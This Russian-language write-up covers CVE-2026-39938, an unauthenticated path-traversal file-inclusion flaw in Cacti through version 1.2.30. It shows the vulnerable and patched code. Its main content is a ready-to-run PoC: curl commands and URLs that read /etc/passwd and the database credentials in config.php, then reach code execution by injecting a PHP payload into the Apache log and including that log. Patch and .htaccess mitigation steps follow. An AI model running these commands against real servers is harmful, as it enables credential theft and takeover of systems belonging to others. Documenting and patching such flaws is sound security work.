CVE-2026-39938: Cacti <= 1.2.30 - LFI без аутентификации

Краткое описание

Поле	Значение
CVE ID	CVE-2026-39938
CVSS Score	9.8 (Critical)
Affected Product	Cacti
Affected Versions	<= 1.2.30
Patched Version	1.2.31
Fix Commit	9871f0c

Детали уязвимости

Первопричина

Уязвимость существует в lib/rrd.php, где параметр graph_theme используется напрямую без санитизации:

УЯЗВИМЫЙ КОД:

if (isset($graph_data_array['graph_theme'])) {
    $rrdtheme = $config['base_path'] . '/include/themes/' . $graph_data_array['graph_theme'] . '/rrdtheme.php';
}

ИСПРАВЛЕННЫЙ КОД:

if (isset($graph_data_array['graph_theme'])) {
    $theme = basename($graph_data_array['graph_theme']);
    if ($theme === '' || $theme === '.' || $theme === '..') {
        $theme = get_selected_theme();
    }
    $rrdtheme = $config['base_path'] . '/include/themes/' . $theme . '/rrdtheme.php';
}

Проблема: отсутствие проверки на последовательности обхода пути ../, что позволяет злоумышленникам читать произвольные файлы без аутентификации.

Доказательство концепции (PoC) - Простые шаги

Шаг 1: Проверка уязвимости - чтение /etc/passwd

curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd"

Результат: Содержимое /etc/passwd будет отображено в ответе.

Шаг 2: Чтение конфигурации базы данных

curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php"

Результат: Учётные данные базы данных (имя пользователя, пароль) будут раскрыты.

Шаг 3: Удалённое выполнение кода через отравление логов

3.1 Внедрение PHP-кода в лог Apache

curl -k -s "http://target-cacti/graph_image.php?local_graph_id=1" \
  -H "User-Agent: <?php system('id'); ?>"

3.2 Выполнение кода путём включения файла лога

curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log"

Результат: Вывод команды (например, uid=33(www-data)) будет отображён.

Проверенные обычные конечные точки

Примеры URL PoC

Базовый тест LFI

http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd

Чтение конфигурации приложения

http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php

Отравление логов (внедрение)

http://target-cacti/graph_image.php?local_graph_id=1

С заголовком: User-Agent: <?php system('id'); ?>

Отравление логов (выполнение)

http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log

Исправление

Обновление до исправленной версии

cd /var/www/html/cacti
git fetch --tags
git checkout tags/release/1.2.31

Проверка применения патча

grep -A 5 "if (isset(\$graph_data_array\['graph_theme'\]))" lib/rrd.php | grep basename

Временное смягчение (.htaccess)

RewriteCond %{QUERY_STRING} (^|&)graph_theme=\.\./ [NC]
RewriteRule ^graph_image\.php$ - [F,L]

Ссылки

W.P.E.F

Отчёт создан в целях исследования безопасности Дата: 27 июня 2026 года

`/graph_image.php`	`graph_theme`	`../../../../../../../etc/passwd`
`/graph_image.php`	`graph_theme`	`../../../../include/config.php`
`/graph_image.php`	`graph_theme`	`../../../../../../../var/log/apache2/access.log`

By-Poloss..-..CVE-2026-39938

Популярное